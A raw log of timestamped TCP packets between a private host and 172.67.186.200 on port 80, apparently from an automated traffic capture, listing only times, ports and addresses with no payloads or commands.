Dec 21, 2024 11:07:48.691350937 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691401958 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691633940 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691662073 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691690922 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691740036 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.691768885 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.763365030 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:48.806453943 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.000579119 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:49.056399107 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.128393888 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.129353046 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.248944998 CET	80	49756	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:49.249015093 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:49.249027014 CET	49756	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.249103069 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.249229908 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.368860006 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:49.603387117 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:49.723256111 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:49.723382950 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.335457087 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.384675026 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.396559000 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.397170067 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.561330080 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.580302000 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.634668112 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.696135044 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.696928978 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.711101055 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.711328030 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.816643953 CET	80	49757	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.816715002 CET	49757	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.816916943 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.817009926 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.817145109 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:50.830940962 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.831012011 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:50.936676979 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:51.165973902 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:51.175580025 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:51.228423119 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:51.285711050 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:51.285752058 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:51.907506943 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:51.962665081 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.142950058 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:52.197153091 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.254215956 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.255121946 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.255147934 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.374473095 CET	80	49755	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:52.374648094 CET	49755	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.374773026 CET	80	49759	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:52.374861002 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.374931097 CET	80	49758	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:52.374990940 CET	49758	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.375047922 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.494838953 CET	80	49759	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:52.728542089 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:52.848490000 CET	80	49759	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:52.848578930 CET	80	49759	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:53.461100101 CET	80	49759	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:53.509552002 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:53.705221891 CET	80	49759	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:53.759553909 CET	49759	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:53.817214012 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:53.937160015 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:53.937272072 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:53.937388897 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:54.057013988 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:54.290924072 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:54.411015987 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:54.411334038 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.022525072 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.072055101 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.269313097 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.322047949 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.395092010 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.395987034 CET	49761	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.515166998 CET	80	49760	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.515268087 CET	49760	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.515501976 CET	80	49761	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.515583038 CET	49761	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.518980026 CET	49761	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.638782978 CET	80	49761	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.869184971 CET	49761	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:55.988823891 CET	80	49761	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:55.988948107 CET	80	49761	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.182862043 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.183109045 CET	49761	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.303358078 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.303455114 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.303594112 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.335275888 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.345407963 CET	80	49761	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.407056093 CET	80	49761	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.407114029 CET	49761	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.423116922 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.455190897 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.455425978 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.455538988 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.575018883 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.650331020 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.769946098 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.769968033 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.806493998 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:56.928252935 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:56.928271055 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:57.389664888 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:57.431539059 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:57.541794062 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:57.587852955 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:57.626220942 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:57.681453943 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:57.777484894 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:57.822169065 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.062077045 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.075764894 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.084630013 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.185630083 CET	80	49762	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:58.185736895 CET	49762	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.195702076 CET	80	49763	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:58.195765972 CET	49763	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.204242945 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:58.204353094 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.207902908 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.329792976 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:58.556545019 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:58.676858902 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:58.676915884 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:59.289527893 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:59.337796926 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.538341045 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:59.587713957 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.663256884 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.664169073 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.783458948 CET	80	49764	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:59.783663988 CET	49764	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.783787012 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:07:59.783880949 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.784090996 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:07:59.903625965 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:00.134748936 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:00.254506111 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:00.254547119 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:00.874757051 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:00.916037083 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.111877918 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:01.166064978 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.304081917 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:01.353490114 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.433080912 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.434215069 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.555093050 CET	80	49765	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:01.555387974 CET	49765	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.555819035 CET	80	49766	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:01.555931091 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.556159019 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:01.675725937 CET	80	49766	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:01.900492907 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.020601988 CET	80	49766	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:02.020621061 CET	80	49766	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:02.641051054 CET	80	49766	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:02.681507111 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.724297047 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.724617958 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.844204903 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:02.844324112 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.844492912 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.844754934 CET	80	49766	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:02.844824076 CET	49766	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:02.964086056 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.030401945 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:03.152053118 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.152139902 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:03.152292967 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:03.197269917 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:03.271811008 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.316864967 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.317114115 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.509887934 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:03.630434990 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.630479097 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.929476023 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:03.978351116 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.179440975 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:04.228347063 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.236989021 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:04.290885925 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.469444990 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:04.525249958 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.584120989 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.584644079 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.585124016 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.704446077 CET	80	49767	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:04.704550982 CET	49767	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.704731941 CET	80	49768	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:04.704818964 CET	49768	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.704956055 CET	80	49769	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:04.705046892 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.705248117 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:04.824790001 CET	80	49769	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:05.056566954 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:05.176579952 CET	80	49769	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:05.176624060 CET	80	49769	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:05.790811062 CET	80	49769	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:05.837758064 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:06.027096033 CET	80	49769	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:06.072122097 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:06.148227930 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:06.267966986 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:06.268054962 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:06.268193007 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:06.387962103 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:06.619083881 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:06.739080906 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:06.739136934 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:07.351936102 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:07.400226116 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.600083113 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:07.650213003 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.721518040 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.722500086 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.841733932 CET	80	49771	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:07.841808081 CET	49771	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.842058897 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:07.842135906 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.842313051 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:07.962897062 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:08.197190046 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:08.317101955 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:08.317143917 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:08.930936098 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:08.978342056 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.166297913 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.183146000 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.212723970 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.288217068 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.302910089 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.303086996 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.303219080 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.408214092 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.408312082 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.408493042 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.423614979 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.528922081 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.650373936 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.759721994 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:09.770178080 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.770217896 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.879703999 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:09.879762888 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.388361931 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.431494951 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.493931055 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.540868998 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.635510921 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.681560040 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.730770111 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.775353909 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.852313995 CET	49769	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.853786945 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.854069948 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.854124069 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.856545925 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.975282907 CET	80	49778	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.975716114 CET	80	49779	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.975821018 CET	80	49780	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.975836992 CET	49778	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.975869894 CET	49779	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.975897074 CET	49780	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.977530956 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:10.977612019 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:10.977796078 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:11.097353935 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:11.322498083 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:11.442363977 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:11.442400932 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:12.067260027 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:12.118957996 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.308734894 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:12.353349924 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.426191092 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.427037001 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.546806097 CET	80	49786	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:12.546895981 CET	49786	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.547041893 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:12.547112942 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.547235966 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:12.667026997 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:12.900360107 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:13.020792961 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:13.021070957 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:13.632939100 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:13.681462049 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:13.871882915 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:13.915863991 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:13.988060951 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:13.989039898 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:14.108547926 CET	80	49792	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:14.108629942 CET	49792	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:14.108815908 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:14.108905077 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:14.109080076 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:14.228733063 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:14.465385914 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:14.585313082 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:14.585330963 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.195396900 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.244122028 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.433443069 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.478410006 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.550571918 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.551425934 CET	49799	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.651443958 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.670670986 CET	80	49793	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.671020985 CET	80	49799	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.671132088 CET	49793	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.671154976 CET	49799	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.771128893 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.771192074 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.771388054 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.771513939 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.891921043 CET	80	49801	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.891999960 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:15.892095089 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:15.892113924 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:16.011571884 CET	80	49801	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:16.119194031 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:16.240588903 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:16.242062092 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:16.244092941 CET	49801	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:16.363795996 CET	80	49801	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:16.363873959 CET	80	49801	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:16.857186079 CET	80	49800	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:16.915870905 CET	49800	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:16.976660967 CET	80	49801	172.67.186.200	192.168.2.4
